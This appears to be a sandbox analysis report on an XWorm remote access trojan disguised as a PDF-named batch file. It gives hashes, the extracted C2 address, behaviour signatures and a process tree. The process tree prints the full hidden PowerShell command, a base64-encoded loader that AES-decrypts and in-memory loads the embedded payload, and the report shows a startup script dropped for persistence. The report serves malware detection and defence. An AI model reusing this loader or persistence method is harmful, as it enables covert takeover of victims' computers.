xworm | 080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33

General

Target

z1Electonic-Tracking_document__pdf.bat
Size

64KB
MD5

462294b19375b265a9a912046e9c332f
SHA1

cda76d3e16a4981079254193ec1afc4041f06e0b
SHA256

080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33
SHA512

8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7
SSDEEP

1536:cV/qLMkewGW080dm+qxR2zFnaMvv6ZkbmEKUgXEXzICKUnFi:cV/qLM6Z0ldCxiFnvDHfs

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

expresswealthz.duckdns.org:3911

Mutex

KmNubOoGsw3EMIcM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2520-21-0x00000207E30A0000-0x00000207E30B0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
28	2520	powershell.exe
41	2520	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2520	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_21e3c7e3.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_21e3c7e3.cmd	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
3568	timeout.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2520	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 540	2428	cmd.exe	86
PID 2428 wrote to memory of 540	2428	cmd.exe	86
PID 540 wrote to memory of 2520	540	cmd.exe	88
PID 540 wrote to memory of 2520	540	cmd.exe	88
PID 2520 wrote to memory of 4472	2520	powershell.exe	102
PID 2520 wrote to memory of 4472	2520	powershell.exe	102
PID 4472 wrote to memory of 3568	4472	cmd.exe	104
PID 4472 wrote to memory of 3568	4472	cmd.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\z1Electonic-Tracking_document__pdf.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\z1Electonic-Tracking_document__pdf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZGVoZ2EgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGRlaGdhKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRkZWhnYSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRkZWhnYSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZGVoZ2EiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcXFtc2coJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0s1bk03Z21aeTVLcEdGZUtNaTdMMmdBcFcrbVcwOU9LVW96REt3SGdUUFk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3UzeGFGUm5zYU9uV3pwTlNCblpkUFE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24ga2ZneXkoJHBhcmFtX3Zhcil7CSRzdWhodz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkeHVoemg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZnVlc3A9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkc3VoaHcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZ1ZXNwLkNvcHlUbygkeHVoemgpOwkkZnVlc3AuRGlzcG9zZSgpOwkkc3VoaHcuRGlzcG9zZSgpOwkkeHVoemguRGlzcG9zZSgpOwkkeHVoemguVG9BcnJheSgpO31mdW5jdGlvbiBicHdnbCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGl4Z3RoPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHBwZ21jPSRpeGd0aC5FbnRyeVBvaW50OwkkcHBnbWMuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGRlaGdhOyRkaW5vcD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGRlaGdhKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkemRqIGluICRkaW5vcCkgewlpZiAoJHpkai5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHVpYWxmPSR6ZGouU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGhsdGhwPVtzdHJpbmdbXV0kdWlhbGYuU3BsaXQoJ1wnKTskeGRocXA9a2ZneXkgKHFxbXNnIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhsdGhwWzBdKSkpOyRrZGlzaz1rZmd5eSAocXFtc2cgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkaGx0aHBbMV0pKSk7YnB3Z2wgJHhkaHFwICRudWxsO2Jwd2dsICRrZGlzayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp5B89.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4472
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:3568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0g3wwr3s.q4n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp5B89.tmp.bat

Filesize
171B

MD5
dc543df261b704b2f5ca398a9c79a7dd

SHA1
045ebe16c5e19a8bdd6ad56afee904e72b18acec

SHA256
a76692c86b1939d1d8e4d6df9086c525b5ac23ec0442fbebbd4e81525ff8c304

SHA512
037de95afd849677a76d086b8f992e6e632fd50ebc72a000f223c51ccfe6e971625117b0faa888b2a1b96cec902e5ccafe3e5be534ca6c73f8f676805465dfd1

Download Submit
C:\Users\Admin\dwm.bat

Filesize
64KB

MD5
462294b19375b265a9a912046e9c332f

SHA1
cda76d3e16a4981079254193ec1afc4041f06e0b

SHA256
080caa16fb7cf79c83f649022e79ca9db8160f1678c17f5832219c0a38be3e33

SHA512
8ef1f9f32e9f65f51914d3c605d72646910865488faf5bf4ea4e236f649fb21dbbdc1f172889560e6af4c8bfe89afc88225418fe57f5d7de872bda7218fda3a7

Download Submit
memory/2520-18-0x00000207E0B00000-0x00000207E0B08000-memory.dmp

Filesize
32KB

Download
memory/2520-14-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download
memory/2520-13-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download
memory/2520-16-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download
memory/2520-17-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download
memory/2520-2-0x00007FF809773000-0x00007FF809775000-memory.dmp

Filesize
8KB

Download
memory/2520-19-0x00000207E3030000-0x00000207E303E000-memory.dmp

Filesize
56KB

Download
memory/2520-21-0x00000207E30A0000-0x00000207E30B0000-memory.dmp

Filesize
64KB

Download
memory/2520-22-0x00007FF809773000-0x00007FF809775000-memory.dmp

Filesize
8KB

Download
memory/2520-23-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download
memory/2520-24-0x00000207C8A30000-0x00000207C8A3A000-memory.dmp

Filesize
40KB

Download
memory/2520-3-0x00000207E0AD0000-0x00000207E0AF2000-memory.dmp

Filesize
136KB

Download
memory/2520-30-0x00007FF809770000-0x00007FF80A231000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing